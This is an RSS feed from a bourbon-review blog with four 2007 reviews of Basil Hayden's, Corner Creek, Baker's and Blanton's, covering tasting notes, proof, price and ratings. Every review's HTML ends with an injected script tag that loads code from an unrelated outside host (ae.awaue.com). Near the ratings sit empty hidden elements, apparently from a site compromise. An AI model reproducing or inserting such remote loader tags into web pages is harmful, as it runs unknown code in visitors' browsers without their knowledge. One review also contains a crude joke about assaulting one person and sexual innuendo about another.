<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Boys of Bourbon &#187; Jason</title>
	<atom:link href="http://www.boysofbourbon.com/author/jason/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.boysofbourbon.com</link>
	<description>The Definitive Bourbon Review</description>
	<lastBuildDate>Thu, 20 May 2010 16:42:48 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Basil Hayden&#8217;s &#124; Rating 90</title>
		<link>http://www.boysofbourbon.com/review-basil-haydens-rating-90/</link>
		<comments>http://www.boysofbourbon.com/review-basil-haydens-rating-90/#comments</comments>
		<pubDate>Thu, 18 Oct 2007 13:30:45 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Bourbon Reviews]]></category>
		<category><![CDATA[bourbon review]]></category>

		<guid isPermaLink="false">http://blog.boysofbourbon.com/?p=16</guid>
		<description><![CDATA[This spicy bourbon with a hint of honey flavor and the right amount of oak is my new favorite 80 proof of all. BH is perfectly distilled and aged to drink with a little ice, no water needed. The first glass finishes as smooth as the tenth glass with little to no bite and a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.boysofbourbon.com/wp-content/uploads/2007/10/basilhayden.jpg" ><img class="alignleft size-full wp-image-763" title="basilhayden" src="http://www.boysofbourbon.com/wp-content/uploads/2007/10/basilhayden.jpg" alt="" width="48" height="179" /></a>This spicy bourbon with a hint of honey flavor and the right amount of oak is my new favorite 80 proof of all. BH is perfectly distilled and aged to drink with a little ice, no water needed. The first glass finishes as smooth as the tenth glass with little to no bite and a smooth after taste. The bottle will look as nice as any other bourbon on your shelf, if you need the look to go with your taste. This bourbon doesn&#8217;t get the bar calls it deserves. From now on when Maker&#8217;s, Knob, and BH are on the shelf, Basil Hayden&#8217;s is my choice every time.</p>
<p><strong>Age:</strong> 8 years<br />
<strong>Proof:</strong> 80<br />
<strong>Price: <em style="display: none;"> </em> </strong> gift, ?<br />
<strong>Rating:</strong> Excellent (i.e. 90)<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.boysofbourbon.com/review-basil-haydens-rating-90/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Corner Creek &#124; Rating 74.5</title>
		<link>http://www.boysofbourbon.com/review-corner-creek-reserve-rating-745/</link>
		<comments>http://www.boysofbourbon.com/review-corner-creek-reserve-rating-745/#comments</comments>
		<pubDate>Thu, 18 Oct 2007 13:15:42 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Bourbon Reviews]]></category>

		<guid isPermaLink="false">http://blog.boysofbourbon.com/?p=14</guid>
		<description><![CDATA[After I dusted the bottle, twisted the cork and splashed, nice and neat, my first glass of this never seen before brown beauty into my glass, I gave her a sniff and then thought &#8220;I just wasted approximately 250 pesos.&#8221; My first taste matched my first sniff. I stepped back and thought, this cannot be [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.boysofbourbon.com/wp-content/uploads/2007/10/cornercreek.jpg" ><img class="alignleft size-full wp-image-774" title="cornercreek" src="http://www.boysofbourbon.com/wp-content/uploads/2007/10/cornercreek-e1268280667357.jpg" alt="" width="106" height="298" /></a>After I dusted the bottle, twisted the cork and splashed, nice and neat, my first glass of this never seen before brown beauty into my glass, I gave her a sniff and then thought &#8220;I just wasted approximately 250 pesos.&#8221; My first taste matched my first sniff. I stepped back and thought, this cannot be right. So I considered the fact that I had been on call for a week, which means no drinking, and took a look at the back of the bottle. The words &#8220;lightly filtered&#8221; for a &#8220;complex flavor&#8221; appear on their wine bottle Esq label. So I do, what so many consider sacrilegious, and give her a splash of bottled Texas spring water. There ya have it, the flavor goes from chewing on a Oak tree root to a very &#8220;complex&#8221; bourbon. Shortly there after I find myself 4 glasses in and smiling, thanks to this strong tasting oak juice with an almost spicy/cinnamon after taste. A little more edge to the flavor than my palate prefers, but for $24.97 a steal every time. If you can&#8217;t get enough oak aging, this is for you. Dedicated to &#8220;Marvin and Sydney&#8221;, I would have to say I would be dedicated to kicking Marvin&#8217;s ass and giving Sydney (no matter what she looks like) the ol&#8217; Whiskey D after half a bottle of unique brown stuff. Give it a try.</p>
<p><strong> Price: <strong style="display: none;"></strong> </strong> Tag: 32.99, Paid: 24.97 (must of been on sale) for 750ml<br />
<strong>Alcohol Content: </strong> 88 proof<br />
<strong>Rating: <em style="display: none;"></em> </strong> 74.5<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.boysofbourbon.com/review-corner-creek-reserve-rating-745/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Baker&#8217;s &#124; Rating 90</title>
		<link>http://www.boysofbourbon.com/review-bakerss-rating-90/</link>
		<comments>http://www.boysofbourbon.com/review-bakerss-rating-90/#comments</comments>
		<pubDate>Thu, 18 Oct 2007 12:47:03 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Bourbon Reviews]]></category>

		<guid isPermaLink="false">http://blog.boysofbourbon.com/?p=8</guid>
		<description><![CDATA[From the Jim Beam family, their number 2 in the line, 2nd to
Booker's. Great flavor, the oak aging is very noticeable when it hits your lips.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.boysofbourbon.com/wp-content/uploads/2007/10/bakers.jpg" ><img class="alignleft size-full wp-image-786" title="bakers" src="http://www.boysofbourbon.com/wp-content/uploads/2007/10/bakers-e1268281607889.jpg" alt="" width="54" height="196" /></a>From the Jim Beam family, their number 2 in the line, 2nd to Booker&#8217;s. Great flavor, the oak aging is very noticeable when it hits your lips. The alcohol content is obvious when taken straight up. With a splash of water the flavors are easier to distinguish. If you are a straight up flask drinker used to a typical 80 proof don&#8217;t waster your money, but if you want to try something between Maker&#8217;s/Knob and Booker&#8217;s, don&#8217;t hesitate to give it a try. Recommended with some bottled water. My only negative is when I went to pull out my cork, it broke and I was not able to drive 60 miles back to the store where I bought it. Luckily the bottle was not compromised, as the bottom half of the cork maintained a good seal.<br />
<strong>Alcohol Content: </strong>107<br />
<strong>Price: </strong> <em style="display: none;"></em> about $40<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.boysofbourbon.com/review-bakerss-rating-90/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Blanton&#8217;s &#124; Rating 99</title>
		<link>http://www.boysofbourbon.com/blantons-rating-99/</link>
		<comments>http://www.boysofbourbon.com/blantons-rating-99/#comments</comments>
		<pubDate>Wed, 17 Oct 2007 15:52:16 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Bourbon Reviews]]></category>
		<category><![CDATA[bourbon review]]></category>

		<guid isPermaLink="false">http://www.boysofbourbon.com/blantons-rating-99/</guid>
		<description><![CDATA[The name is Blanton&#8217;s but it should be called &#8220;The Best,&#8221; that is self explanatory. This perfectly selected single barrel bourbon has the perfect amount of wood, the perfect kick, with a perfect combination of bite and hint of vanilla at the finish. That might be alot of perfects, but that is just this bourbon. [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://www.boysofbourbon.com/wp-content/uploads/2007/10/428_sidebar.png" alt="Blantons" width="200" height="265" />The name is Blanton&#8217;s but it should be called &#8220;The Best,&#8221; that is self explanatory. This perfectly selected single barrel bourbon has the perfect amount of wood, the perfect kick, with a perfect combination of bite and hint of vanilla at the finish. That might be alot of perfects, but that is just this bourbon. On top of brown goodness inside, this is bourbon is bottled, bagged and labeled by hand in a style fit for a king or kingpin. At 93 proof, I prefer mine with a little ice and a splash of water, but its never too much to keep in your flask.  If you like bourbon, this pony will make a lover out of you. Go baby go Blanton&#8217;s.</p>
<p><strong>Age </strong>: single barrel none needed</p>
<p><strong>Proof</strong>: 93</p>
<p><strong>Price</strong>: around $60</p>
<p><strong>Rating</strong>: 99 <span style="display: none; text-decoration: underline;"> <em style="display: none;"></em> </span><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.boysofbourbon.com/blantons-rating-99/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
